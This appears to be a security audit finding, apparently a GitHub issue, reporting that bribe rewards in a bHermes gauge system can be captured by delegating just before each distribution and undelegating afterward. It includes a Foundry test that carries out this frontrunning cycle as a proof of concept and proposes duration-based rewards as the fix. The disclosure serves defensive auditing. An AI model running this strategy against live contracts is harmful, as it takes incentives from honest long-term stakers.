FlywheelAcummulatedRewards/FlywheelBribeRewards gains are instantaneous and can be frontrun.
The user only needs to frontrun the delegate before each incentive is distributed to get the incentive, and there is no way to prevent the user from undelegating after receiving the reward.
The protocal is to mint votes using staking bHermes. For example, the user can staking bHermes to get votes, delegate to receive the incentive, undelegate, and then take out bHermes to do other earnings, and wait until a week later to re-delegate.
function testUndelegateAfterAccrue() external {
MockERC20 token = new MockERC20("test token", "TKN", 18);
FlywheelCore flywheel = createFlywheel(token);
gaugeToken.setMaxDelegates(2);
hermes.mint(address(this), 100e18);
hermes.approve(address(gaugeToken), 100e18);
gaugeToken.mint(address(this), 100e18);
gaugeToken.delegate(address(this));
gaugeToken.incrementGauge(address(gauge), 100e18);
address other = address(0xdead);
hevm.startPrank(other);
hermes.mint(other, 100e18);
hermes.approve(address(gaugeToken), 100e18);
gaugeToken.mint(other, 100e18);
gaugeToken.delegate(other);
gaugeToken.incrementGauge(address(gauge), 100e18);
hevm.stopPrank();
// addBribeFlywheel
gauge.addBribeFlywheel(flywheel);
token.mint(address(depot), 100 ether);
// claimRewards
gauge.accrueBribes(address(this));
flywheel.claimRewards(address(this));
gauge.accrueBribes(other);
flywheel.claimRewards(other);
assert(token.balanceOf(address(this)) == token.balanceOf(other));
assert(token.balanceOf(address(this)) == 50 ether);
// Undo delegate
gaugeToken.decrementGauge(address(gauge), 100e18);
gaugeToken.undelegate(address(this), 100e18);
gaugeToken.burn(address(this), 100e18);
hevm.warp(WEEK - 3 days);
// frontrun to delegate
gaugeToken.mint(address(this), 100e18);
gaugeToken.delegate(address(this));
gaugeToken.incrementGauge(address(gauge), 100e18);
// update bribeFlywheel
token.mint(address(depot), 100 ether);
// Cycle 1
hevm.warp(WEEK);
// claimRewards
gauge.accrueBribes(address(this));
flywheel.claimRewards(address(this));
gauge.accrueBribes(other);
flywheel.claimRewards(other);
assert(token.balanceOf(address(this)) == token.balanceOf(other));
assert(token.balanceOf(address(this)) == 100 ether);
// Undo delegate
gaugeToken.decrementGauge(address(gauge), 100e18);
gaugeToken.undelegate(address(this), 100e18);
gaugeToken.burn(address(this), 100e18);
hevm.warp(WEEK * 2 - 3 days);
// frontrun to delegate
gaugeToken.mint(address(this), 100e18);
gaugeToken.delegate(address(this));
gaugeToken.incrementGauge(address(gauge), 100e18);
// update bribeFlywheel
token.mint(address(depot), 100 ether);
// Cycle 2
hevm.warp(WEEK * 2);
// claimRewards
gauge.accrueBribes(address(this));
flywheel.claimRewards(address(this));
gauge.accrueBribes(other);
flywheel.claimRewards(other);
assert(token.balanceOf(address(this)) == token.balanceOf(other));
assert(token.balanceOf(address(this)) == 150 ether);
}
Add the above test to BaseV2GaugeTest.t.sol, and you will find that the gains from the frontrun and the gains from the continuous delegate are equal.
Foundry
Assign incentives by delegate duration instead of cycle
Context
The text was updated successfully, but these errors were encountered:
All reactions